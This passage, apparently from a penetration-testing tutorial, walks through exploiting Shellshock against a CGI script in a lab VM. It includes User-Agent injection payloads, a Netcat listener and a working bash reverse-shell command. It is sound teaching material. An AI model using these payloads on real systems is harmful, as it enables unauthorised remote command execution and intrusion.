If you boot a virtual machine using the live CD image, you'll have a minimum system that includes a web server that loads a very simple page that displays system information:

If you look at the requests in a proxy, you'll notice one to /cgi-bin/status, whose response includes the system's uptime and what looks like the result of a uname -a command:

To get such information, the status script needs to communicate with the operating system. There is a chance that it is using bash for that, as bash is the default shell for many Unix-based systems and the User-Agent header becomes an environment variable when CGI scripts are processed. To test whether there is actually a command injection, you need to test different versions of the injection. Let's say that you want the target server to ping you back to verify that it is executing commands. Here are some examples using a generic target address. Notice the use of spaces and delimiters:

() { :;}; ping -c 1 192.168.1.1 
() { :;}; /bin/ping -c 1 192.168.1.1 
() { :;}; bash -c "ping -c 1 192.168.1.1" 
() { :;}; /bin/bash -c "ping -c 1 attacker.com" 
() { :;}; /bin/sh -c "ping -c 1 192.168.1.1" 

As part of the testing, you send the request to Burp Suite's Repeater and submit only the () { :;}; empty function in the User-Agent header and get the same valid response as with no injection:

If you try to inject commands such as uname, id, or a single ping, you get an error. This means that the header is actually being processed, and you just need to find the right way to send the commands:

After some trial and error, you find the right command. The ping -c 1 10.7.7.4 command will be executed on the server, and the pings are captured in the attacker's machine through a network sniffer, such as Wireshark:

Now that you've found the correct injection command, you can try to gain direct shell access to the servers. For this, first set up your listener using Netcat as follows:

nc -lvp 12345  

Then inject the command. This time, you are injecting a more advanced command that will yield a fully interactive shell if successful:

() { :;}; /bin/bash -c "ping -c 1 10.7.7.4; bash -i >& /dev/tcp/10.7.7.4/12345 0>&1"

The bash shell interprets the variable as a command and executes it instead of accepting the variable as a sequence of characters. This looks very similar to the command injection flaw discussed earlier. The major difference here, however, is that the bash shell itself is vulnerable to code injection rather than the website. Since the bash shell is used by many applications, such as DHCP, SSH, SIP, and SMTP, the attack surface is increased to a great extent. Exploiting the flaw over HTTP requests is still the most common way to do it, as bash shell is often used along with CGI scripts.